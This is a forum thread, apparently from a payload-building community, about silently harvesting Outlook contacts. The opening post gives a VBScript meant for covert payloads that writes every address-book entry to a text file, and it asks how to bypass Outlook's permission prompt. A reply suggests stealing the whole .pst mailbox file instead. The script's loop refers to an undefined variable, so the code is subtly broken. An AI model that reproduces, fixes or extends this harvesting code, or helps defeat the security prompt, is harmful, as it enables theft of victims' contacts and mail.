Jump to content

Scratching on Outlook mailing list?


Recommended Posts

Posted

It's not a new or brilliant idea, but I've been working a bit in extracting the contacts list from outlook address book.

This implementation made simply to any payload, would be able to extract the contact list to a plain text file.

Set fso = CreateObject("Scripting.FileSystemObject") 
set outlook=WScript.CreateObject("Outlook.Application") 
if Not err=0 then 
msgbox "Outlook is not available."
else
set mapi=outlook.GetNameSpace("MAPI") 
set MSOfile=fso.CreateTextFile("outlook-contacts.txt")
for ctrentries=1 to mapi.AddressLists.Count
    set a=mapi.AddressLists(ctrentries) 
    x=1
    for countEntries=1 to n.AddressEntries.Count 
        contact=n.AddressEntries(x)
        MSOfile.WriteLine contact
        x=x+1 
    next 
next
end if

Of course, the err check is only for testing purposes. ;)

The problem is the message box of (almost for Outlook 2003) asking for permission for reading the contents of the pst file.

Any ideas on how to bypass the message box, some fix to the code or idea?

  • 2 weeks later...
Posted

May be this was a fool question? :huh:

No one have tried it?

Any other way to extract the contents of the contacts lists to a file?

Any suggestion?

Posted

Why don't just copy the .pst file? Then you will also get the emails.

The files can be large and you are not able to copy it if Outlook is running, but it could be shut down.

Posted

Yes, I know you can just copy the pst file, but as you say, it can be large, in fact... very large.

The purpose of the script only was extracting the contacts of the pst file, but thanks for your suggestions.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...